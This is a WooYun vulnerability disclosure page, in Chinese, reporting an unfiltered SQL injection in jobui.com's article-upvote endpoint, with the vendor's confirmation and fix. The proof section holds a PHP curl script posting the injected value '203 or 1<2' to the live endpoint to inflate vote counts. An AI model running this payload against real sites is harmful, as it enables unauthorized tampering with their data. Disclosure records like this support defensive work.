当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059657

漏洞标题:职友集网设计缺陷内容任意顶

相关厂商:职友集网

漏洞作者: Rain

提交时间:2014-05-06 17:24

修复时间:2014-06-20 17:25

公开时间:2014-06-20 17:25

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-06: 细节已通知厂商并且等待厂商处理中
2014-05-06: 厂商已经确认,细节仅向厂商公开
2014-05-16: 细节向核心白帽子及相关领域专家公开
2014-05-26: 细节向普通白帽子公开
2014-06-05: 细节向实习白帽子公开
2014-06-20: 细节向公众公开

简要描述:

职友集网SQL注入导致任意顶

详细说明:

职友集网SQL注入导致任意顶

漏洞证明:

访问http://toutiao.jobui.com/toutiao/202/
主要看这一块

1.jpg


通过抓包,可以发现主要的post请求传递的参数

1.jpg


手头没有工具,直接写一个php利用curl测试一下

<?php
$data = array(
'formAction' => 'toutiao_article_num',
'type' => 'G',
'toutiaoID' => '203 or 1<2',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://toutiao.jobui.com/process/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$ret = curl_exec($ch);
curl_close($ch);
unset($ch);
echo $ret;


提交上面的请求,可以发现任意的
http://toutiao.jobui.com/toutiao/202/
url地址的id下面顶都增加了,原因很简单,post请求中的 or 1<2中起了作用了
如果改成and 1>2 那么只需不会有顶的效果,说明毫无过滤的SQL注入点

修复方案:

你们肯定比我懂

版权声明:转载请注明来源 Rain@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-06 17:51

厂商回复:

非常感谢白帽子的专业水平和敬业精神,我们的设计有缺陷,我们已经针对意见做出相对应的修改,非常感谢

最新状态:

暂无